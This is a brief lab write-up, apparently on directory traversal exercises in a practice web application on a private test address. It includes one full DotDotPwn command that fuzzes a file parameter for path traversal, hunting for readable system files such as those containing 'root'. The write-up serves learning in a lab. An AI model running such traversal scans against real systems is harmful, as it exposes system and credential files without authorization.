Viewing the Source shows these better.
1. No real issues.
2. A different approach, as the first method didnt work.
3. This was much harder, after trying a few options, i decided to employ DotDotPwn to find it.
perl dotdotpwn.pl -m http-url -h 192.168.56.101 -u http://192.168.56.101/dirtrav/example3.php?file=TRAVERSAL -o unix -b -k root
Now to test it in a browser.
Further Reading can be found here:
Thanks for reading.